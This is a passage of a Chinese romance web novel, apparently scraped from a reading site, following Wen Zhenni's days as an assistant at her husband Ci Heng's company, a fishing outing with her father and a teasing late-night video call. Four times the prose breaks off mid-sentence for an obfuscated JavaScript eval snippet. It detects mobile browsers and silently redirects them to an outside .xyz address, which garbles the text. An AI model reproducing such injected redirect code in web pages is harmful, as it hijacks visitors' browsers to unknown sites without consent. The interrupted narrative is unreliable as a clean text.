玻璃外,高低起伏的大厦像蛰伏的巨兽,无声地吞噬着车流。
好晚了,胃里也适时发出咕咕叫。她捂住肚子,脆弱地哀叫一声,“饿了。”
同事们都在陆续收拾东西,低声讨论着下班的安排。
露西也背上包包,顺便问她:“倩倩,要不要一起去吃夜宵?”
在外应酬的某人还不知道什么时候能回来,去吃点宵夜也好。
“好啊。”
她和露西手挽手下了楼,默契十足地拐进后巷那家牛肉面馆。
慈恒这边,应酬刚一结束,就让司机开车回总部。
专门改道来接人,总裁办却不见踪影,唯有一盏顶灯投在空荡荡的工位上,那姑娘的桌子活像遭遇了一场洗劫。
他的目光扫过散乱的文件、零食包装、忘了盖笔帽的笔和便签贴淹没的电脑,眉头越锁越紧。
人是下班了,工位半点没收拾,跟在家一个习惯。
连自己的一亩三分地都不收拾,老太太还非要塞到身边给他当助理。
这是请助理嘛,这是请了个活祖宗!
他按着眉心,发信息问她在哪,过去接她。
发完了消息,看着桌面实在碍眼,近乎本能地开始收拾起来。
他做这些的时候,太过投入,连有人进来都没发现。
“慈总!”去而复返的员工直接愣在了门口,眼睛瞪得像铜铃。
震惊的、惶恐的、难以置信的。
她刚加完班,走到楼下想起忘拿东西了,又只能返回总裁办。万万没想到,一进来就看到魔鬼大Boss,一脸认真地在给员工整理桌子。
悲催的加班人哪里见过这场面,在门口进退两难。
慈恒却没有一丝一毫被人撞破后的尴尬,只是点点头,“下班早点回家。”
“好好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885261|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、好的。”
别看他语气平淡,但周身气场实在强大,吓得人不敢多说一句话。
目睹boss有条不紊地将桌面收拾干净,淡定自若地离开,提在嗓子眼的那口气才放下去,然后拿出八百米冲刺的速度冲进“88层情报小分队”。
【惊天大八卦,回来拿东西,撞见慈总帮员工整理工位!是道德的沦丧还是人性的扭曲?】
【??我去,慈总这么接地气的嘛。我一直以为他是那种高高在上不食人间烟火的工作机器呢。】
【咦,这个位置是倩倩的工位吧。】
【还是我太勤快了。】
【还是太勤快+1。】
【露西说的不会是真的吧,乔倩倩其实是后门进来的关系户。】
【@露西,老实交代,你是不是真知道点什么?】
面馆里默默潜水的露西突然被点名,差点让一口汤汁给呛到。
露西:【我也不知呀。】
虽然经过上次的烧烤摊事件,她大概已经猜到了两人之间有某种联系。
但没有证据的情况下,还是不要胡说的好。
露西装傻充愣,随便几句糊弄过去,然后抬眼小心翼翼看了眼对面。
牛骨熬的汤头腾起一片白雾,大口嗦面的当事人一无所知。
**
回到紫金湾时,已经很晚了。温珍旎洗完澡,头发还没吹干,裹着浴袍爬进蚕丝被。
“加班好累好辛苦。”她眼皮重得快要黏在一起。再不想上班了,她真的要打退堂鼓了!
就在意识模糊时,腰间忽地一紧,一股力量带着清冽又沉稳的气息,将她牢牢圈进怀里。
慈恒把人困在臂间,蹭着她被水汽薰得泛红的耳尖,“吹干头发再睡。别感冒了传染给我。”
他的手指穿梭在发丝间,力度舒服得让人不想睁眼。
温珍旎懒懒地撩起眼帘,抚上他腕口还没摘掉的腕表,“好晚了,不想动。”
“你帮我。”她软声求道。
慈恒松开怀抱,起身拿来吹风机,把人从被子里拎出来。看她一副软趴趴不想动的样子,只好把人靠在怀里。
“你在外面怎么照顾自己,让助理给你吹头发?”
他的指腹摩挲着发根,低头说话时,唇上的热意有意无意地扫过耳尖。
温珍旎觉得痒,下意识挡住,“家里有爸妈依靠,结婚有老公依靠,就不需要再故作坚强了呀。”
把懒字说得这么理直气壮,她是会给自己找借口的。
三两下把头发吹干,慈恒去放吹风机时,搁在枕头上的手机亮了屏幕。
是语音电话。
温珍旎直接点了外放,橙子激动的声音在卧室炸开。
“姐,你周末穿的那套国风‘鲤戏荷影’都卖爆了。”
“限量都卖光了,平台上博主们的仿妆也都大热,现在南国记的影响力排名直接飙到了top1。”
她的带货能力一向不错,结果算是在意料之中。
温珍旎波澜不惊地点开三人小群,明霞也刚好说了这事,还表示要请她吃大餐。
她给明霞回了消息,指尖绕着发尾打转,随口问橙子,“秦姐最近有说什么吗?”
“有啊,秦姐让我监督你看剧本。所以姐,剧本梳理得如何了?”
温珍旎:“……呃!”
她可以说,上班太投入,把这事给忘了吗?
20. 020
听她支吾,橙子还有什么不明白的,“友情提示,你的假期已经过半。”
“不急不急……”温珍旎一阵心虚,“那个时间不早了,你赶快睡吧,晚安!”
语音果断一挂,她两只肩膀泄气似的塌了下来。
睡意也没了,从被子里爬起来,翻箱倒柜地找剧本。
慈恒解着衬衣扣子,看她翻完抽屉,又翻柜子,忙得到处乱窜,“你打算挑灯夜读?”
温珍旎理直气壮,“看两行也是看,总比没看好。”
这叫什么,主打一个心理安慰吗?
慈恒摇头,从沙发的搭毯下拎出她要的剧本,“你这丢三落四的毛病也该改改了。”
剧本拎在手里,随手一翻,映入眼帘的就是限制级画面。
他皱着眉,眼里流露出难以形容的神色。
“别看!”温珍旎飞扑上来,力道没把控好,直接把人撞翻在沙发上。
剧本哗啦散开,掉在地毯上,温珍旎跌坐在他怀里。
额头撞到慈恒下巴的动作很精准,后背的闷痛,加上下巴的钝痛,就是两记暴击。
慈恒无奈地仰着头,长舒一口气,“你想一头砸死我,换个新老公?”
温珍旎眼含歉意,“对不起嘛,我不是故意的。”
说完,又不服气地反驳道:“谁让你不经允许看我剧本的。”
“迟早都会看到。”慈恒单手撑住她的腰,拇指掐住她的脸,“台词干巴巴的,念再多遍有什么用,实践才能出真知。”
他循循善诱,“换句话说,你可以找我陪练,沉浸式帮你对台词。”
“……”拐了这么大一个弯,原来在这等着的。
但她今晚只想睡觉。
“我困了,剧本明天再看。”
再说下去,就该引火烧身了。
她飞快地从慈恒身上爬起来,钻进被子,再次把自己裹成蚕蛹。
这女人,还真是越来越不好骗了。
慈恒表情遗憾地捡起掉落的剧本,脱了衬衣去浴室。
等洗完澡回来,床上的人已经霸着整张床呼呼大睡,压根没给他留位置。
白天加班太累的后果就是,第二天错过了闹铃,睡过头了。
看着触目惊心的八点半,温珍旎尖叫着跳下床。
掀被子的动作太急,脚踝磕在了床腿上,疼得她眼泪直飙,还要忍着疼跳着去盥洗室。
“今天要上班的,怎么都不叫我。”
别墅上下少说也有二十多人,竟然没有一个人提供叫早服务。
温珍旎哀嚎着,极限一分钟,刷牙、洗脸、换衣服,叼着鲨鱼夹冲下楼。
知道她来不及化妆了,佣人帮忙把化妆包准备好,早餐也打包了送到车上。
结果正主连自己都没搞定,仓皇乱窜,领口的纽扣都错位了两颗。
在佣人的提醒下,她把扣子重新扣好,跳着脚去穿鞋,才发现从起床就没看到慈恒,“先生人去哪了?怎么大早上就不见人,还不叫我起床。”
佣人解释:“先生临时接了一个电话,七点钟就去了公司。”
星星滑行过来,机械手夹着一颗糖果,围着温珍旎打转,“妈咪,吃糖。”
机器人很萌很可爱,但现在可不是亲子时间。
温珍旎把糖随手塞进衣兜,钻进车子后座。
帕拉梅拉如离弦之箭,很快驶出别墅区,汇进了车流。
小苏开车技术不错,而且很稳。温珍旎在车里吃完早餐,把妆容也搞定了。
为了节约时间,她让小苏直接把车驶进总部的地下停车场。
小苏把车停稳,问她:“太太,下班还是我来接您吗?”
“不用。”早上时间太仓促,要不然她就自己开车了,“你下班吧,晚上我自己回去。”
温珍旎对着镜子检查了一遍妆容,确保没有任何问题后,推门下了车。
这个点的停车场已经没什么人了,几部电梯还在高层,她提着包包奔向步梯,一辆玛莎拉蒂也刚好从侧方开了过来。
晃眼瞧见车牌号,好眼熟,有点像慈宇的座驾。
蝶翼门掀起来,还真是慈宇!
“小宇。”她叫了一声。
慈宇大概是没听见,三步并作两步,头都没回一下。
温珍旎脑子里突然蹦出慈恒的友情提示,早上要是看到小叔子,那就说明她要光荣地迟到了。
她暗呼完蛋,一路疾跑到大厅,赶在最后一秒识别了人脸。
两人一前一后打完卡,进了电梯,慈宇脱力地靠在轿厢上抹汗,“血汗钱算是保住了。”
温珍旎略表同情地看着他,“要不我跟你哥说说,至少提高一下……底薪?”
慈宇心如死灰地笑笑,“我哥在工作上是出了名的冷血魔鬼,他才不会松口。”
真那么可怕吗?可能是温珍旎没有直接和慈恒对接过工作,没有领教过魔鬼的厉害。
“嫂子,星星用着顺手吗?”
电梯到达前,慈宇问起机器人的使用反馈。
温珍旎点头:“挺好的,我很喜欢。”
都叫她妈咪了,当妈的在外面当然是夸孩子了。
“那就好。”
电梯“叮”地一声,研究所的楼层到了,慈恒跟她告别,“嫂子,那我去上班了。”
“嗯,好。”
上班时间到,她这个牛马也该努力干活,赚小钱钱了。
温珍旎先去总裁室,把该做的事做完。回到总裁办,工位上还有一堆数据等着整理。
整个上午,她又是忙得连口水都没喝上。
“咱们公司一直都这么多活吗?”
中午去食堂吃饭的时候,她忍不住问露西。
露西摇头,“也不是,现在情况特殊嘛。度假区是公司的重点开发项目,慈总又刚回国接手,上任总裁的那套流程肯定不适用了,大家都在磨合期,难免出些差错。”
她安慰温珍旎,“不会太久的,忙过这阵子就好了。”
说的好像有道理。
但是天天加班,她的命好苦啊。
温珍旎这么一想,比哭还难看。
瞧她垂头丧气的,露西忍不住笑,“工作是要做的,鱼也是要摸的嘛。”
温珍旎戳着餐盘里的鱼肉,轻轻叹气,“我也不会摸鱼啊。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895930|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我教你啊。”
露西秉持乐于助人的精神,和她分享起自己总结的摸鱼大法,“事先掌握好领导高频出现的时间,不要玩手机,多开几个窗口,小说娱乐什么的都可以,表情要严肃,手放在键盘上,时不时敲几个字作掩饰,只要有人经过,随时切换到工作窗口,但是动作要快,慢一步被抓到就over了。”
“还有接水、上厕所的时间,可以干好多事呢。”
很有心得嘛,看起来老实的露西还是摸鱼老手呢。
温珍旎没看出来,着实有点惊讶,“我以为你是那种任劳任怨的小可怜。”
露西这才后知后觉。如果她跟慈总有关系,那她不就暴露自己了?
想到这里,耳朵腾地红了,“在我心里工作永远是第一位,我很少很少摸鱼的。”
看她急着解释的样子,温珍旎只是一笑,专心对付起午餐,“吃完饭要去跟慈总确认任务。慈总也不知道哪去了,整个上午都没见人。”
“你不知道吗?”露西一副诧异的样子,“慈总一早就去工地视察了。”
度假区在郊区,来回四个钟头,不算太远。就一句话的事,这个狗男人竟也没跟她说,害她早上差点迟到。
温珍旎越想越郁闷,发微信质问他,有什么事是电话微信不能解决的。
消息发出去几秒钟,慈恒那边直接回了一个电话,吓得她小心脏砰砰直跳。
要死,突然打电话是想吓死谁啊。
关掉静音,原本是要挂断的,结果手一抖按了接通。
“干嘛打电话?”
她浑身是理,口气也硬,“现在是上班时间,员工拒接私人电话。”
慈恒言简意赅地回道:“方便。”
我看是霸道专.制惯了。
温珍旎腹诽了一句,但听到他略带倦意的嗓音,语气还是放软了些,“你下午有事交代吗,没有的话我要专心工作了。”
听她迫不及待要挂电话的口吻,慈恒挑了挑眉,“嗯,在回来的路上了。”
温珍旎“噢”了一声。
谁关心他回不回来,什么时候回来。
电话那头的男人哼笑,“我办公室的活很多吗?你还想偷懒。”
无良资本家,非得榨干牛马最后一滴才肯罢休吗?
“放心,就算只是临时工,我也会履行好职责,把助理工作做好的。”
不上班不知道,温珍旎此刻总算理解了网上流传的梗。没有人会爱上自己的老板,没有人!
不想跟他多说,温珍旎利落地掐断电话,继续忙手头的工作。
慈恒是下午四点回的公司,那会儿温珍旎正在和各种表格大眼瞪小眼,总助陆方洋突然来总裁办通知临时会议。
“都快下班了,不会又要加班吧?”
陆方洋一走,办公室里的哀嚎此起彼伏。
温珍旎看着手边成堆的资料,真想两眼一黑昏过去算了。
手头一堆事没做呢,回来就开会,他是属驴的吗,从早到晚拉磨不带歇的。
温珍旎心里犯嘀咕,一脸麻木地被露西拽起来,拖着沉重的脚步跟大家进了小会议室。
21. 021
她是零经验的新人,干的都是跑腿打杂的活,太专业的东西听不懂,索性坐了靠后的位置,降低存在感。
说起来,这还是慈恒回京后第一次正式给总裁办开会。主要是制定新流程,以便更好地协助他展开工作。
会议过程冗长又枯燥,温珍旎无聊,在笔记本上画了一个圈,又一个圈。
加上中午没睡午觉,听得她一直犯困,担心形象不雅观,只能捂着嘴打哈欠。
温珍旎尝试过瞪大眼睛,装作听懂的样子点头附和,没想到反而引来了慈恒的视线。
那目光耐人寻味,不知道是早就发现她在开小差了,还是恰巧撞上的。
他指尖有一下没一下地点着桌面,棱角分明的下颌微微上扬,镜片后本来平静的目光更显冷冽,定在她脸上,不打算收敛的样子。
看什么看,没见过员工开会打瞌睡!
温珍旎让他看得浑身不自在,垂眼挪开目光,指尖下意识地去摸衣兜里的手机,却意外触到一颗糖果。
是星星给的那颗薄荷糖。
她把糖果捏在指尖,捻开糖纸,然后佯装困倦地抬起手,以捂嘴打哈欠作掩护,飞快地将薄荷糖塞进了嘴里。
下一秒,清凉感在猝不及防地冲上天灵盖,舌尖被刺激的味道狠狠唤醒。她根本来不及反应,整张脸痛苦地皱成一团,生理性眼泪哗地一下涌了出来。
这场会议一直持续到了六点,散会时,陆方洋告知众人。
度假区项目正式启动了,所有高层将于明天参加开工仪式。
“大家辛苦这几天,把工作分担一下。明天李薇跟我一起去。”
被抢了总裁办公室的轻松活,李薇这些天的情绪一直不高,听到这话总算翘起嘴角。
这次总裁办的职能均有变动,新的任务分配下来,下周又有得忙了。
温珍旎的工作内容虽然变动不大,但细碎繁琐,需要耗费大量时间和心力去跟进。
回到办公室,她收拾好东西,拎了包包,乘着下行电梯直达停车场。
下班高峰,取车的人挺多。
她掏出车钥匙,找到自己停车的方位,走近了才看到帕拉梅拉旁安静地伫立着两道人影。
“太太。”陆方洋看到她,扬起标志性的笑,低声打着招呼。
他侧身让到一旁,一点猩红在昏暗的灯下忽明忽暗。
慈恒指间夹着烟,姿态散漫地倚在车头,深灰色西装外套搭在臂弯里,领带松开了些,耷拉在衬衫前。
他偏头吐烟圈的动作在看见她时定了一瞬,喉结又随着吞咽的动作缓慢滚动。
人帅又多金,抽烟的气质也是浑然天成的。就算是装,也有装的资本。
但他就顶着这张脸招摇过市,站在她的座驾前,是生怕别人不多想吗?
温珍旎眼观鼻鼻观心,都没敢往他身上多看。就怕多瞄上两眼,明天公司就有惊天八卦漫天飞了。
她拉开驾驶座的车门,侧身准备坐进去,手腕忽然被一只温热的手掌扣住。慈恒声音低沉:“我来。”
一旁的陆方洋深谙这种时候自己该退场了,便识趣地说道:“慈总,明天的行程和要点已经同步到您的邮箱和日程系统里了,没别的吩咐,我就先下班了?”
“嗯。”慈恒点头,在烟头回收器里碾灭了烟头。
副驾里的温珍旎目送陆方洋走远,收回视线,转头看向俯身上车的慈恒。
“怎么抽烟了?”她不喜欢烟草味,再贵的烟都不行。
慈恒淡淡地“嗯”了一声,目光落在车内的毛绒装饰,没解释。
他倾身靠过来,带着薄茧的拇指摩挲着她的手腕,“早上走得太急,忘了跟你说,抱歉。”
近距离看,他脸上的倦意特别明显,大概这几天忙项目,睡眠不足。
看他这么辛苦,温珍旎怎么好继续计较这些微末小事,“我已经忘了,没放在心上。”
小作怡情,大作伤感情,她还是有分寸的。
慈恒唇角牵起弧度,镜片后的目光掠过她的眼尾,“开会的糖是不是更好吃?”
他果然还是看到了。
温珍旎不回应好不好吃,只是软声埋怨,“可是你开会真的好无聊。”
“谁开会有趣?”旁边的男人笑着反问。
“你以为是在学校,还要照顾你的感受,哄着你乖乖上课,认真写作业。”
哄她上班也不是不可以。
温珍旎抿着唇,发现他对着方向盘上毛绒装饰无处下手,晶亮的眸子闪了闪,“我稍微装饰了一下。”
女孩子的喜好,他无意置评,挂上倒挡,将车倒出车位。
车子汇入车流后,慈恒握着方向盘,目视前方,随口问了一句:“明天要不要跟我去度假区的工地?”
开工仪式有什么好去的。
温珍旎不想去,语气干脆地回绝了,“不了,我要回家看我爸。”
老头每天都跟她上演苦情戏,说什么有了婆家就忘了娘家,她跟她弟都是脱缰的马,放归草原就没影了。
这周再不回去露个面,老父亲能把那些轱辘话翻来覆去再说上八百遍。
所以,周六的早上,她送了慈恒出门后,就自己驱车回了家。
金宵现在属于半退状态,公司事务基本交给几位副总在打理。闲下来的日子,他不是爬山徒步,就是约几位老友钓鱼。
而且他钓鱼不爱去渔场,最爱野钓,去水库沟渠什么的。
温珍旎这头刚回家,就被老父亲拉去充当劳力,负责给他开车,拎渔具。
今天天气好,老头也是突然心血来潮,说要钓鱼烧烤,非要把她也给带上。
还好,约的裘叔叔也带着周末休假的小女儿佳佳一起来了。
有个朝气蓬勃的女孩子聊天作伴,帮忙布置,也挺好的。
佳佳出于好奇,问了她一些娱乐圈的传闻八卦。温珍旎就挑了几个无伤大雅的问题回答,满足了她的好奇心。
“珍旎姐,知道你要和我哥合作,我可激动了。”小姑娘眼睛亮晶晶的,“要不是爸爸提醒我,怕慈恒哥哥介意,我直接原地磕CP了。”
小姑娘性格单纯,有什么说什么,但是不讨厌。
而且眼里有活,帮的忙一点没少。温
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908002|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
珍旎把炭加进烤炉,升了火,她已经把分装好的食材搬出来摆好了。
裘家父女开的房车,不需要搭帐篷,她跟佳佳把折叠椅摆上,开始烤烧烤。
佳佳从家里带了一些零食,两人烤着烧烤,吃着零食,聊各自听来的八卦,还开心地合了影。
佳佳想把照片分享到平台账号上,特意征询了她的意见。
温珍旎同意了,还给她点了第一个赞。
一轮烧烤吃完,湖边也终于传来了动静。
“今天运气不错。”
金宵收起钓竿,胖胖的脸上挤出两弯眼睛,远远地冲遮阳棚下的温珍旎招手,“旎旎快看,爸爸钓到大鱼了。”
足有两斤重的鲫鱼。
金宵用鱼刀划开鱼腹,把内脏清理出来。
“这鱼要怎么做?”
温珍旎十指不沾阳春水,没干过这活,在小姑娘面前显得笨手笨脚。
倒是小姑娘经验很丰富的样子,利索地抹上腌料,塞好姜片和葱段。
“珍旎姐,看我给你小露一手吧。”
佳佳自告奋勇,做了一道炭火版烤鱼。
还别说,鱼皮烤得焦黄,肉嫩却不烂,味道是真不赖。
两个老头只享受钓鱼的乐趣,对吃鱼不感兴趣,于是温珍旎和佳佳瓜分了整条鱼。
等到太阳下山,她们吃饱喝足,裘叔叔又钓上来一条好大的罗非鱼。
他把鱼拉出水面时,金宵叉着腰,笑声响得比自己钓上大鱼还要高兴,“老裘,你这运气才是真的好。”
温珍旎也跟着鼓掌,“还是裘叔厉害,我爸都没钓到过这样的鱼。”
裘叔满意地收了钓具,提着水桶上岸来。
“不枉我坐了这半日。”
他手撑着后腰,直呼腰快断了。
金宵笑着拍打老友的后背,“你说你多大年纪了,还逞什么强。”
“你是站着说话不腰疼。我那个逆子要是像你的女儿女婿一样省心,我就放心了。”
他儿子裘司城混迹娱乐圈,不肯回公司帮忙,公司里的事情样样都要他操心。
金宵倒不觉得有什么不好,“我们这些老古董跟不上时代节奏了,年轻人的事,就让他们自己决定吧。”
“再说,司城那孩子年纪轻轻就拿遍奖项,差哪儿了?我看是你这个老家伙变着法地跟我炫耀吧。”
“到底谁在炫耀。”裘叔笑着叹了口气,摘掉手套,“我听说慈恒回国之后,把泰华的发展重点放在了人工智能和娱乐休闲上。”
在收拾垃圾的温珍旎笑着回道:“是啊,裘叔,天星研究所研发的第三代陪伴型机器人即将面世,而且这方面的技术越来越成熟,不久就会普遍用于医疗和救援。”
“我知道,我知道那个。”佳佳激动地抢过话,“是你微博照片里的那个机器人,对吧?”
“是啊,小宇送我的。”手机里存了不少星星的照片和视频,温珍旎调出来给她看,“它叫星星。”
“哇,真的好可爱。”佳佳一看就喜欢得不行,转头冲她爸爸喊,“爸,这个机器人上市了,也给我买一个。”
22. 022
从湖边钓完鱼回城后,裘叔叔请了父女俩去陈一记吃饭。温珍旎跟佳佳因为下午吃太撑了,胃里实在塞不动,晚饭基本没吃。
到家之后,温珍旎冲了个热水澡,打着哈欠,带着一身倦意钻进暖烘烘的被窝。
这一天折腾下来,比上班轻松不到哪去。但是过程还挺有意思,值得分享给珍珠们。
这么想着,她捞过手机,在屏幕上点了几下,编辑好一条plog。刚发送出去没几分钟,慈恒的视频通话请求紧跟着弹了出来。
“陪爸去钓鱼了?”
屏幕亮起,男人刚从酒宴抽身出来,他站在走廊中心,身后是整面玻璃幕墙。窗外的城市夜景璀璨如星河,衬着他挺拔略显疏离的轮廓。
“爸爸非要我去的。”温珍旎捧着手机窝在被子里,语气带着点无奈。
话刚出口,她突然后知后觉,“等等,你是不是偷看我微博了?”
屏幕那头,慈恒眉峰轻挑,“你的微博又不是仅自己可见。”
视频的同时,他已经把每张图都点开来细看了一遍。
他年少时跟庄家的子弟参加过特训,眼神向来了得,因而捕捉到某个眼熟的长辈背影时,手指顿住,“裘叔也去了?”
温珍旎嗯道:“裘叔叔还提到你了,夸你厉害来着。”
慈恒哼笑,“我厉害是事实。”
这人是一点不谦虚。
不过也符合他骨子里带出来的骄矜。
那种拿捏人心的感觉……怎么说呢?就是她这样混迹名利场,见多识广的人,也会明知故犯,偏爱他的骄傲自负。
温珍旎撑着下巴,趴在枕头上来回晃着小腿,“你今晚不回来了吗?”
慈恒:“嗯,不回。”
他垂着眼皮,语气微醺,单手解开了西装纽扣,从灯下踱步到暗处。
随着在沙发里落座,一只握着纸杯的纤纤玉指也堂而皇之地入了镜。
递来的热饮氤氲着女人的柔嗓,“阿恒,酒水凉,喝点蜂蜜水吧。”
手背的痣落入眼帘,除了姜琳,也别无他人了。
虽然老婆不在身边,但不缺莺莺燕燕,他随时随地坐享齐人之福。
一股说不清道不明的不爽,在此刻阴暗地滋生。
温珍旎咬了咬牙,提高声量:“老公,你对蜂蜜严重过敏,可千万别碰蜂蜜水。”
她语气嗲得夸张,表情却是愠怒。
反常的态势叫人匪夷所思。
慈恒心生迷惑。想的是,他怎么不知道自己蜂蜜过敏?
没辨出她语气转变的缘由,但也没有接那杯蜂蜜水。
他摆手拒绝了姜琳的好意,视线落回到屏幕。
困在褥子里的人翻身起来,手肘撑起时,珠光白的丝绸睡裙顺着曲线滑落。
她真的很适合珍珠,但任何珠子去点缀她,又夺不了其璀璨。
不知道是不是没留意,镜头移了半寸,堪堪停在下方。
只是一眼,已是人间数万年。
慈恒的喉结在镜头里滑动。
“把衣服穿好,我在外面。”他握拳抵在唇边,提醒她注意场合。
不知所谓的提醒,温珍旎没有听懂他的暗示。
她以为自己是在宣示主权,其实是在众目睽睽下撒娇,“要睡觉了,卧室里就是这么穿的呀。”
她想仰卧,在床上翻滚一圈,前置摄像头忽然短暂地被什么按住了,让画面只剩一段令人遐想的声音。
外放的尴尬,在此刻体现的淋漓尽致。
一时间,随从人员都眼观鼻,鼻观心,各自尴尬地转移着视线。
慈恒扶了扶额,看似面色不改,无视旁人在侧,其实心里早就兵荒马乱,“乖宝,你故意的。”
“我没有!”
温珍旎表示无辜,刚才她翻身的时候不小心扭到腰了,手机还重重地砸在了胸口。
她跟他抱怨,“老公,我腰扭了一下,好痛。”
到底是没怎么吃过苦的大小姐。浸淫在声色犬马的圈子里,不懂取悦上位者,富足的生活也不允许她委身低就任何人。
或许她自己都没有发现,她的优势是浑然而成的,无需矫饰雕琢的。
慈恒也不知道从什么时候起,磕着她怕碎了,捧着她怕摔了,小心保护着这份难能可贵的天真和率性。
“抱歉,我需要回避。”
他还没有大方到,让人旁观他和太太的情趣。
他坦然起身,抬手制止了望风而来的各司高层。
看着挺直的背影融入走廊的暗沉,在绿灯亮起的安全通道走远,姜琳手里还握着那杯早已凉透的蜂蜜水。
“姜总,有没有兴致再喝一杯。”
有人向姜琳抛来邀请,打破了沉寂。
主场的神已经离开,生意场上的嘴脸又肆无忌惮地显露了出来。
还在怔神的姜琳被现实强行拖回。
她人小位卑,无法拒绝,木然地扯出一抹笑,“有幸。”
方才她就坐在慈恒半臂之远,没能见到屏幕那方慈太太的庐山真面,但那把似水的嗓音,足够清晰地落进耳里。
还有那声乖宝,温柔缱绻,尾音韵味悠长,击溃了她引以为傲的决心。
“……丢死人了。”
温珍旎也是后知后觉。从镜头里看到簇拥的人群时,才知道她的窘迫全落在了旁人耳里。
社死了,以后别人该怎么看她!
温珍旎呜咽着捶了几拳枕头,红着脸拉起被褥,把脑袋埋上,鸵鸟似的装死。
男人非但没有安慰她,还笑话她,“现在知道要面子了,跟老公撒娇不是挺放得开?”
温珍旎从褥子下伸出半张脸,咬着被子,目光怨念,“为什么不提醒我,你害我丢了好大的脸。”
这口锅太大,慈恒背不动,“我提醒过你了,让你穿好衣服。”
袖扣摘下来,随手扔向大理石桌面,慈恒挽高衬衣袖子,坐进沙发,调侃起她来毫不心软,“小祖宗,你以为所到之处都是你的地盘。”
一到私下,就暴露毒舌属性。她要收回先前对他的一切赞誉。
温珍旎气呼呼地掀开被子,“不好意思,绝对没有下次了。”
起身动作太大,拉扯间睡袍领口往一边拉了一下,滑到肩头。
暖光漫过时,捧出一幅破画欲来的佳作。
见色起意是下.流行径,他自信不会有,喉咙还是泛起痒意。
“那个……”他揉了揉眉心,尽力克制语调地提醒对面,“衣服崩开了。”
绸衣本就丝滑,水晶扣崩落后,露出底下绵软的蕾丝衣。
让他想起某位国画大师的名作,湖面上白莲亭亭玉立,忧心风雨会落下,洁白的瓣子会经不住摧残。
美好的珍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915081|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宝,该藏起来私自品鉴才对。
温珍旎从前置镜头窥见,低骂了一句“流氓”,面红耳赤地把枕头捞进怀里。
“我只是好心提醒你,别再像刚才一样出糗。”
他说完,偏头一笑,笑不够,语气偏还恶劣混账,“好在这里是我的地盘,你可以继续放肆。”
这就好像在说,她是故意勾引他一样。
“我没有,你胡说。”情绪一激动,气血上涌,温珍旎整个人爆红。
她咬着枕头呜咽,“你欺负我。”
屏幕那端的男人,看她这副模样,唇角缓慢地向上勾起弧度,“可惜了,鞭长莫及,不能真的欺负你。”
听听,这像人话嘛?
“慈恒,你学坏了。”
男人腿一搭,把衬衣扣子解到了最后一颗,“那把主动权给你,我让你欺负我。”
和他的毒舌比起来,由着自己性子胡来,哄她说浑话,才是最可恶的。
偏偏温珍旎最受他三言两语的蛊惑了,根本不需要他费多大力气,就轻易拿捏了她。
制定规则的人,从不会委屈自己,想怎么来,就怎么来。
慈恒这人,太懂怎么让自己舒服,让别人舒服了。
即使隔着屏幕,都能平静地欺负她。
慈恒是风月里的洪水猛兽,却没有哪一次像昨晚,不动一根手指,就把她的心搅得天翻地覆,一塌糊塌。
可是摸着空荡荡的被窝,居然有点不习惯他不在的日子了。
温珍旎的戒断反应超乎想象的强烈。
被奚淼薅去拍卖厅的路上,她整个人浑浑噩噩的,打不起精神。
本来是不必亲自走这一趟的,但这次拍品里有一套奚淼看上的红宝石项链,她想第一眼看到,就把温珍旎拽上了飞机。
两百万拍下的项链,美是美的,但是温珍旎提不起半分兴致。
是个人都能看出她没睡好。
做完美甲,在法餐厅吃饭的时候,奚淼瞅着她,“慈恒不是没回来嘛,你昨晚干啥去了,一副被榨干的样子。”
“可不是被榨干了嘛。”狐狸不在家,也能撩得人心黄黄。
温珍旎戳着盘里的蜗牛肉,选择性地跟她讲了昨晚的糗事,呜咽一声,“淼淼,我道心破碎了。”
看她不争气的样子,奚淼就觉得好笑,“你倒是长点胆子,也欺负他啊。来而不往非礼也的道理,懂吗?”
“我哪里玩得过他。”
她如实回答,换来闺蜜的白眼。
“姐们哪天给你搞个盘,让你这个良家妇女长长见识?”
